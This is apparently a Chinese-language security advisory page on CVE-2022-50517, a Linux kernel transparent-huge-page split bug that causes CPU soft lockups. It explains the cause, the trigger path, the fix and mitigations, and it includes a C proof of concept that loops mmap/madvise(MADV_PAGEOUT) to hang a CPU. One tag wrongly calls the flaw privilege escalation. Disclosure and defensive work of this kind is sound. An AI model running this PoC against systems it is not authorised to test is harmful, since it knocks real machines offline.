IPBUF安全漏洞报告
English
CVE-2022-50517 CVSS 5.5 中危

CVE-2022-50517 Linux内核THP拆分时损坏swp_entry_t导致软锁死漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50517
漏洞类型
拒绝服务/软锁死(内存管理缺陷)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(mm/huge_memory.c)

相关标签

Linux内核THP透明大页内存管理拒绝服务软锁死本地提权mm/huge_memoryswp_entry_t内核安全

漏洞概述

CVE-2022-50517是Linux内核透明大页(THP, Transparent Huge Pages)拆分过程中存在的一个内存管理缺陷。该漏洞由提交b653db77350c("mm: Clear page->private when splitting or migrating a page")引入,该提交旨在清除PG_private标志位清除后folio->private仍为非NULL的情况。然而,该提交在实现上存在缺陷:在THP拆分过程中,对于tail page(尾部页),不当地清除了page->private字段,而该字段在swapcache中的页面上用于存储swp_entry_t(交换条目)。当THP尾部页的page->private被错误地清除后,后续的内存回收路径(如madvise(MADV_PAGEOUT)操作触发shrink_page_list -> add_to_swap -> folio_alloc_swap -> scan_swap_map_slots -> __try_to_reclaim_swap -> pagecache_get_page -> __filemap_get_folio -> xas_load -> xas_descend)在访问xarray时因页描述符损坏而陷入无限循环,导致CPU软锁死(soft lockup)。该漏洞可由本地低权限用户通过mmap操作触发,属于本地拒绝服务漏洞,对系统可用性造成高影响(可用性影响为High),但不影响机密性和完整性。

技术细节

该漏洞的技术原理如下:

1. **根本原因**:Linux内核的透明大页(THP)机制中,每个THP由一个head page和多个tail pages组成。根据内核文档,THP tail pages的page->private字段被复用,用于存储"swp_entry_t if folio_test_swapcache()",即当folio处于swapcache中时,tail page的private字段保存交换条目。

2. **触发路径**:提交b653db77350c在拆分或迁移页面时无条件清除page->private字段,这破坏了上述约定。当一个处于swapcache中的THP被拆分时,其tail pages的swp_entry_t被错误地清除为0或无效值。

3. **崩溃机制**:当后续代码路径(如madvise(MADV_PAGEOUT))尝试回收该页面时,会调用__try_to_reclaim_swap -> pagecache_get_page -> __filemap_get_folio -> xas_load -> xas_descend来查找对应的swap entry。由于swp_entry_t已被损坏,xarray遍历陷入异常状态,CPU在xas_descend+0x28处无限循环,触发软锁死检测(watchdog: BUG: soft lockup - CPU#X stuck for 26s!)。

4. **修复方案**:补丁修改了__split_huge_page函数,仅当head page不在swapcache中时才清除tail page的page->private字段。如果head page在swapcache中,则保留page->private的值(因为它包含有效的swp_entry_t)。同时增加了警告机制,当检测到page->private具有意外值时打印一次警告。

5. **利用条件**:攻击者只需拥有本地低权限用户访问权限,运行stress-ng的mmmap工作负载或其他触发THP拆分和页面回收的操作即可触发该漏洞。

攻击链分析

STEP 1
步骤1:分配大块匿名内存
本地低权限用户通过mmap()系统调用分配大块匿名内存(如2GB以上),内核会自动使用透明大页(THP)机制来管理这些内存页,提高性能。
STEP 2
步骤2:触发页面换出
通过madvise(MADV_PAGEOUT)系统调用将内存页换出到交换设备(swap),使THP页面进入swapcache状态,此时tail pages的page->private字段存储有效的swp_entry_t。
STEP 3
步骤3:触发THP拆分
当页面被重新访问或因内存压力触发THP拆分时,内核调用__split_huge_page。受漏洞影响的代码会无条件清除tail page的page->private字段,破坏其中的swp_entry_t。
STEP 4
步骤4:触发页面回收
再次调用madvise(MADV_PAGEOUT)或因内存压力触发shrink_page_list -> add_to_swap -> folio_alloc_swap -> scan_swap_map_slots -> __try_to_reclaim_swap路径,尝试访问已损坏的swap entry。
STEP 5
步骤5:CPU软锁死
在xas_load -> xas_descend函数中,由于swap entry损坏导致xarray遍历异常,CPU陷入无限循环。watchdog检测到CPU停滞26秒后报出soft lockup错误,系统可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2022-50517: Linux kernel THP split swp_entry_t corruption // This vulnerability can be triggered using stress-ng mmap workload // on affected kernel versions (those including commit b653db77350c) /* * Reproduction steps: * 1. Build stress-ng from source: https://github.com/ColinIanKing/stress-ng * 2. Run the mmap stress test with sufficient memory pressure: * stress-ng --vm 8 --vm-bytes 4G --mmap 8 --mmap-bytes 4G --timeout 600s * 3. Monitor dmesg for soft lockup messages: * watchdog: BUG: soft lockup - CPU#X stuck for 26s! [stress-ng:XXXX] * * Alternative reproduction using mmtests config: * - Use config-workload-stressng-mmap from mmtests suite * - The bug is non-deterministic and may require multiple runs */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/syscall.h> #define MADV_PAGEOUT 21 #define MAP_ANONYMOUS 0x20 #define MAP_PRIVATE 0x02 int main(int argc, char *argv[]) { size_t size = 2UL * 1024 * 1024 * 1024; // 2GB to trigger THP int iterations = 100; printf("CVE-2022-50517 PoC - THP split swp_entry_t corruption\n"); printf("Allocating %zu bytes of anonymous memory...\n", size); void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); return 1; } // Touch pages to trigger THP allocation memset(addr, 0x41, size); for (int i = 0; i < iterations; i++) { // Trigger pageout to force swap operations on THP if (madvise(addr, size, MADV_PAGEOUT) != 0) { perror("madvise PAGEOUT failed"); } // Re-fault pages to trigger THP split and re-allocation volatile char *p = (volatile char *)addr; for (size_t j = 0; j < size; j += 4096) { p[j] = (char)(i + j); } printf("Iteration %d/%d completed\n", i + 1, iterations); usleep(10000); } munmap(addr, size); printf("PoC completed. Check dmesg for soft lockup.\n"); return 0; }

影响范围

Linux kernel 引入提交b653db77350c的所有版本(v5.19+至修复前)
Linux kernel stable < 8cace0eeb03d6043827faa6cf6c9067a9f05cd9f
Linux kernel stable < 71e2d666ef85d51834d658830f823560c402b8b6

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)通过sysctl禁用透明大页:执行 `echo never > /sys/kernel/mm/transparent_hugepage/enabled` 和 `echo never > /sys/kernel/mm/transparent_hugepage/defrag`,但这会降低系统内存管理性能;2)限制普通用户对madvise系统调用的使用,或通过seccomp策略限制MADV_PAGEOUT操作;3)减少系统内存压力,避免触发swap操作;4)监控dmesg日志,及时发现soft lockup异常并重启受影响服务;5)使用cgroup限制单个用户或进程的内存使用量,降低触发THP拆分的概率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表